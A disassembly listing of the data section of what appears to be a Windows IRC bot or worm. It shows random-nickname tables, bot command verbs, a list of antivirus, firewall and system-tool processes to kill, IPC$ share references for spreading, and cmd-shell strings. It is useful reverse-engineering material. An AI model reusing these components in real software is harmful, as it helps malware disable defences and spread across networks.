dd 80000002h, 436230h, 42B633h, 436224h, 2 dup(0)
dd 80000002h, 4361F0h, 42B633h, 4361E4h, 2 dup(0)
dd 80000002h, 4361B0h, 42B633h, 4361A4h, 2 dup(0)
dd 80000002h, 436170h, 42B633h, 436164h, 2 dup(0)
dd 80000002h, 436128h, 42B633h, 436114h, 2 dup(0)
dd 80000002h, 4360D8h, 42B633h, 4360C4h, 2 dup(0)
dd 80000002h, 436094h, 436B60h, 436078h, 2 dup(0)
dd 80000002h, 436058h, 436050h, 43602Ch, 2 dup(0)
dd 80000002h, 436010h, 436050h, 435FF0h, 2 dup(0)
dd 80000002h, 435FD0h, 436050h, 435FACh, 2 dup(0)
dd 80000002h, 435F94h, 436050h, 435F90h, 2 dup(0)
dd 80000002h, 435F74h, 435F64h, 435F5Ch, 2 dup(0)
dd 80000002h, 435F28h, 42F654h, 435F10h, 2 dup(0)
dd 80000002h, 435ED4h, 435EC8h, 435EA0h, 435E90h, 435E7Ch
dd 80000002h, 435E58h, 435E4Ch, 435E38h, 435E28h, 435E20h
dd 80000002h, 435E58h, 435E4Ch, 435DF4h, 435E28h, 435DECh
dd 80000002h, 435E58h, 435E4Ch, 435DBCh, 435E28h, 435DB4h
dd 6 dup(0)
; char *off_442ED0
off_442ED0 dd offset aQ ; DATA XREF: sub_41A293+5Cr
; "q"
dd offset aW_0 ; "w"
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset aY_0 ; "y"
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_6 ; "s"
dd offset aD_0 ; "d"
dd offset aF_1 ; "f"
dd offset aG_0 ; "g"
dd offset asc_437A98 ; "h"
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42FB98 ; "l"
dd offset aZ_0 ; "z"
dd offset asc_437A90 ; "x"
dd offset aC ; "c"
dd offset aV ; "v"
dd offset aB_0 ; "b"
dd offset aN ; "n"
dd offset aM_0 ; "m"
dd offset aQ_0 ; "Q"
dd offset aW ; "W"
dd offset aE_0 ; "E"
dd offset aR_0 ; "R"
dd offset aT_0 ; "T"
dd offset aY ; "Y"
dd offset aU_0 ; "U"
dd offset aI_0 ; "I"
dd offset aO_0 ; "O"
dd offset aP_0 ; "P"
dd offset aA_0 ; "A"
dd offset aS_10 ; "S"
dd offset aD_2 ; "D"
dd offset aF_0 ; "F"
dd offset aG ; "G"
dd offset asc_437A54 ; "H"
dd offset aJ_0 ; "J"
dd offset aK_0 ; "K"
dd offset asc_437A48 ; "L"
dd offset aZ ; "Z"
dd offset asc_437A40 ; "X"
dd offset aC_3 ; "C"
dd offset aV_0 ; "V"
dd offset aB ; "B"
dd offset aN_0 ; "N"
dd offset aM_1 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl_0 ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset aAyla ; "AYLA-"
dd offset off_4377C4
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_437630
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
; char *off_4431D0
off_4431D0 dd offset aSex ; DATA XREF: sub_41A293+41r
; sub_41A293+EBr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot_0 ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset aB_0 ; "b"
dd offset aC ; "c"
dd offset aD_0 ; "d"
dd offset aE ; "e"
dd offset aF_1 ; "f"
dd offset aG_0 ; "g"
dd offset asc_437A98 ; "h"
dd offset aI ; "i"
dd offset a_ ; "_"
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42FB98 ; "l"
dd offset aM_0 ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset aW_0 ; "w"
dd offset asc_437A90 ; "x"
dd offset aY_0 ; "y"
dd offset aZ_0 ; "z"
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset aZ_0 ; "z"
dd offset aG_0 ; "g"
dd offset aS_6 ; "s"
dd offset aQ ; "q"
dd offset off_437450
dd offset aBbl ; "|bbl"
dd offset byte_42B633
dd offset byte_42B633
dd offset a___0 ; "_|_"
dd offset byte_42B633
dd offset byte_42B633
dd offset byte_42B633
dd offset byte_42B633
dd offset aF_0 ; "F"
dd offset aM_1 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF ; "^^^f^"
dd offset aB_0 ; "b"
dd offset byte_42B633
dd offset aSleeping ; "Sleeping"
dd offset byte_42B633
dd offset byte_42B633
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_42B633
dd offset byte_42B633
dd offset asc_437A40 ; "X"
dd offset byte_42B633
dd offset aBoy ; "BOY"
dd offset aGirl ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset aTot ; "tot"
dd offset aLol ; "lol"
dd offset aLoloA ; "lolo|a|"
dd offset aSex4free ; "|sex4free|"
dd offset a4us ; "|4us|"
dd offset a4you ; "{4you}"
dd offset dword_437368+38h
dd offset dword_437368+34h
dd offset dword_437368+30h
dword_443368 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41AA0A+A6o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4433B4 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_41AA0A+E5o
dword_4433D0 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_41AA0A+11Ao
dword_4433E4 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_41AA0A+141o
off_4433F8 dd offset aAdd ; DATA XREF: sub_41BF46+59r
; sub_41BFBE+4Ar ...
; "Add"
off_4433FC dd offset aAdded ; DATA XREF: sub_41BF46+2Dr
; sub_41BFBE+7Cr ...
; "Added"
dword_443400 dd 0 ; DATA XREF: sub_41BF46+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 437D10h, 437D08h, 2, 437CFCh, 437CF0h, 3, 0
dword_443450 dd 7530h ; DATA XREF: sub_41C76D+12r
align 8
off_443458 dd offset aRegedit_exe ; DATA XREF: sub_41C444:loc_41C50Cr
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe_0 ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aMsblast_exe ; "MSBLAST.exe"
dd offset aTeekids_exe ; "teekids.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
off_4434B8 dd offset aIpc ; DATA XREF: sub_41CB8D:loc_41CD3Er
; sub_41CB8D+1BFr ...
; "IPC$"
dword_4434BC dd 0 ; DATA XREF: sub_41CEAF:loc_41D02Cr
dd offset dword_438C80+10h
align 8
dd offset dword_438C80+0Ch
dd offset dword_438C80+8
dd offset dword_438C80+4
dd offset dword_438C80
byte_4434D8 db 63h ; DATA XREF: .text:0041DF27o
; .text:0041DF41r ...
db 6Dh, 64h, 0
aExit db 'exit',0 ; DATA XREF: .text:0041E0A2o
; .text:0041E0B7r
align 10h
dword_4434F0 dd 6A14h ; DATA XREF: sub_41ECD4+4w _randr ...
align 10h
off_443500 dd offset dword_4E2F20 ; DATA XREF: ___initstdio+52o
align 8
dd offset dword_4E2F20
dd 101h
dword_443510 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio+71o
dd 1000h, 0
; FILE stru_443520
stru_443520 FILE <0, 0, 0, 2, 0FFFFFFFFh, 0, 0, 0> ; DATA XREF: sub_40E3B2+17Co
; __flsbuf+53o ...
dword_443540 dd 3 dup(0) ; DATA XREF: __flsbuf+5Bo
; __stbuf:loc_422C8Co
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_443570 dd 84h dup(0) ; DATA XREF: ___initstdio+9Ao
dword_443780 dd 9875h, 9873h ; DATA XREF: ___initstdio+67o
off_443788 dd offset __fpmath ; DATA XREF: __cinitr
dd offset nullsub_1
dd offset nullsub_1
dword_443794 dd 19930520h, 3 dup(0) ; DATA XREF: __NLG_Notify1+2o
; __NLG_Notify+2o
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
align 10h
; size_t MaxCount
MaxCount dd 1 ; DATA XREF: sub_40F87A+68r
; _strtoxl:loc_41EAC7r ...
byte_4437B4 db 2Eh ; DATA XREF: __input:loc_423747r
; __input+447r ...
align 4
dd 1, 0
off_4437C0 dd offset __exit ; DATA XREF: __amsg_exit+1Cr
dword_4437C4 dd 2 ; DATA XREF: __NMSG_WRITE+58r
; __FF_MSGBANNER+Er ...
dd 10h
off_4437CC dd offset aNull ; DATA XREF: __output:loc_4226C0r
; __output+51Cr
; "(null)"
off_4437D0 dd offset aNull_0 ; DATA XREF: __output+2D8r
; "(null)"
dword_4437D4 dd 0E6F4816Ah ; DATA XREF: _strtok+6r
; CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *)+8r ...
off_4437D8 dd offset asc_4397E0 ; DATA XREF: _strtoxl:loc_41EADFr
; _strtoxl:loc_41EB74r ...
; " ((((( H"
off_4437DC dd offset word_4399E2 ; DATA XREF: _iswctype+18r
dword_4437E0 dd 1 ; DATA XREF: __dosmaperr:loc_422C1Ar
dword_4437E4 dd 16h ; DATA XREF: __dosmaperr:loc_422C3Er
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_443948 db 1 ; DATA XREF: __setmbcp+120r
db 2, 4, 8
align 10h
dword_443950 dd 3A4h ; DATA XREF: __setmbcp:loc_422F91r
dword_443954 dd 82798260h ; DATA XREF: __setmbcp+15Cr
dd 21h, 0
dword_443960 dd 0DFA6h ; DATA XREF: __setmbcp+100r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_443A40 dd 0FFFFFFFFh, 0A80h ; DATA XREF: __filbuf:loc_421CE6o
; __flsbuf:loc_4221E1o
off_443A48 dd offset sub_427274 ; DATA XREF: ___libm_error_support+11Ar
; ___libm_error_support+1D5r ...
dword_443A4C dd 173Fh ; DATA XREF: __floor_default+Dr
off_443A50 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+5w
; __output+476r
off_443A54 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+Aw
; __output+4A2r
off_443A58 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w
; __input+5B5r
off_443A5C dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew
; __output+491r
off_443A60 dd offset __positive ; DATA XREF: __cfltcvt_init+28w
off_443A64 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
dd offset sub_4254B5
off_443A70 dd offset sub_4254B5 ; DATA XREF: sub_4254E2+Cr
align 10h
dword_443A80 dd 1B3Fh ; DATA XREF: __floor_default_0+Dr
dword_443A84 dd 1 ; DATA XREF: _tolower+18r
dword_443A88 dd 2 ; DATA XREF: __NMSG_WRITE:loc_42608Fr
; __NMSG_WRITE+3Ar
off_443A8C dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r
; __NMSG_WRITE+112r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 43A11Ch, 9, 43A0F0h, 0Ah, 43A058h, 10h, 43A02Ch
dd 11h, 439FFCh, 12h, 439FD8h, 13h, 439FACh, 18h, 439F74h
dd 19h, 439F4Ch, 1Ah, 439F14h, 1Bh, 439EDCh, 1Ch, 439EB4h
dd 1Dh, 439E10h, 78h, 439DFCh, 79h, 439DECh, 7Ah, 439DDCh
dd 0FCh, 434A60h, 0FFh, 439DCCh
dword_443B20 dd 0C0000005h, 0Bh, 0 ; DATA XREF: __XcptFilter+Co
; _siglookup+6o
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_443B98 dd 3 ; DATA XREF: __XcptFilter+84r
; _raise+C4r
dword_443B9C dd 7 ; DATA XREF: __XcptFilter+89r
; _raise+C9r
dword_443BA0 dd 0Ah ; DATA XREF: __XcptFilter+6r
; _siglookupr
dword_443BA4 dd 8Ch ; DATA XREF: __XcptFilter+B2r
; __XcptFilter+BAw ...
dword_443BA8 dd 2694h ; DATA XREF: __handle_qnan1+3r
; __except1+5Dr
align 10h
dword_443BB0 dd 14h ; DATA XREF: __umatherr:loc_42779Br
off_443BB4 dd offset aExp ; DATA XREF: __umatherr:loc_42780Dr
; "exp"
dd 1Dh, 439CB8h, 1Ah, 42F6A8h, 1Bh, 439CBCh, 1Fh, 43A420h
dd 13h, 43A418h, 21h, 43A410h, 0Eh, 43A408h, 0Dh, 43A400h
dd 0Fh, 439C80h, 10h, 43A3F8h, 5, 43A3F0h, 1Eh, 43A3ECh
dd 12h, 43A3E8h, 20h, 43A3E4h, 0Ch, 439C88h, 0Bh, 439C90h
dd 15h, 43A3DCh, 1Ch, 439C98h, 19h, 43A3D4h, 11h, 43A3CCh
dd 18h, 43A3C4h, 16h, 43A3BCh, 17h, 43A3B4h, 22h, 43A3B0h
dd 23h, 43A3ACh, 24h, 43A3A8h, 25h, 43A3A0h, 26h, 43A394h
dbl_443C98 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+BCr
; __handle_exc:loc_42760Ar ...
dd 0
dd 0FFF80000h
dbl_443CA8 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+93r
; __handle_exc:loc_4275E0r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_443CC0 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Br
; __set_statfp+1Er
align 4
tbyte_443CCC dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+30r
align 4
dword_443CD8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_427E18o
dword_443CF0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_427E2Eo
dword_443D08 dd 2 dup(0) ; DATA XREF: ___multtenpow12+Co
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
dd 400FC350h, 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_443E68 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: ___multtenpow12+23o
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_443FC4 dd offset off_43A508 ; DATA XREF: .rdata:0043A708o
; .rdata:0043A868o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_443FDC dd offset off_43A508 ; DATA XREF: .rdata:off_43A5C0o
; .rdata:0043A600o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_443FFC dd offset off_43A508 ; DATA XREF: .rdata:off_43A608o
; .rdata:0043A64Co ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_44401C dd offset off_43A508 ; DATA XREF: .rdata:off_43A654o
; .rdata:0043A698o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_44403C dd offset off_43A508 ; DATA XREF: .rdata:off_43A6A0o
; .rdata:0043A6DCo
dd 0
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dword_444060 dd 0 ; DATA XREF: sub_40110F+C8o
dword_444064 dd 71AB5690h ; DATA XREF: sub_4012D6+61Dw
; sub_4012D6+76Cr ...
dword_444068 dd 71AB157Eh ; DATA XREF: sub_4012D6+678w
; sub_4012D6+7A4r ...
dword_44406C dd 71C574FAh ; DATA XREF: sub_4012D6+9BEw
; sub_4012D6+A33r ...
dword_444070 dd 7620E8C3h ; DATA XREF: sub_4012D6+859w
; sub_4012D6+8ACr ...
dword_444074 dd 71AB5A01h ; DATA XREF: sub_4012D6+540w
; sub_4012D6+6C4r ...
dword_444078 dd 762211EFh ; DATA XREF: sub_4012D6+7FEw
; sub_4012D6+86Dr
dword_44407C dd 77E6C0E3h ; DATA XREF: sub_4012D6+8Cw
; sub_4012D6+E2r ...
dword_444080 dd 77D5E303h ; DATA XREF: sub_4012D6+1A6w
; sub_4012D6+1E2r ...
dword_444084 dd 77D45B19h ; DATA XREF: sub_4012D6+172w
; sub_4012D6+1C2r ...
dword_444088 dd 71AB1444h ; DATA XREF: sub_4012D6+624w
; sub_4012D6+774r ...
dword_44408C dd 77C71BB0h ; DATA XREF: sub_4012D6+48Dw
; sub_4012D6+4DBr ...
dword_444090 dd 71B28D0Dh ; DATA XREF: sub_4012D6+B50w
; sub_40C979+A3r
dword_444094 dd 71AB155Ah ; DATA XREF: sub_4012D6+59Bw
; sub_4012D6+70Cr ...
dword_444098 dd 7620AFB6h ; DATA XREF: sub_4012D6+83Fw
; sub_4012D6+873r
dword_44409C dd 77D5E310h ; DATA XREF: sub_4012D6+18Cw
; sub_4012D6+1D2r ...
dword_4440A0 dd 77D4932Ch ; DATA XREF: sub_4012D6+206w
; sub_4012D6+227r ...
dword_4440A4 dd 77EBA6E9h ; DATA XREF: sub_4012D6+58w
; sub_4012D6+CAr ...
dword_4440A8 dd 71C4A1B4h ; DATA XREF: sub_4012D6+9A4w
; sub_4012D6+A23r ...
dword_4440AC dd 71AB3E5Dh ; DATA XREF: sub_4012D6+5A8w
; sub_4012D6+718r ...
dword_4440B0 dd 77D5C13Ah ; DATA XREF: sub_4012D6+220w
; sub_4012D6+23Cr ...
dword_4440B4 dd 1F7BA3A9h ; DATA XREF: sub_4012D6+BF4w
; sub_4012D6+C2Fr
dword_4440B8 dd 77DD23D7h ; DATA XREF: sub_4012D6+2A5w
; sub_4012D6+2F0r ...
dword_4440BC dd 71AB868Dh ; DATA XREF: sub_4012D6+65Ew
; sub_4012D6+794r ...
dword_4440C0 dd 77D4456Bh ; DATA XREF: sub_4012D6+22Dw
; sub_414BFB+3Fr ...
dword_4440C4 dd 1F7B9D96h ; DATA XREF: sub_4012D6+C28w
dword_4440C8 dd 71C4502Ch ; DATA XREF: sub_4012D6+9CBw
; sub_4012D6+A3Br ...
dword_4440CC dd 71AB1ED3h ; DATA XREF: sub_4012D6+610w
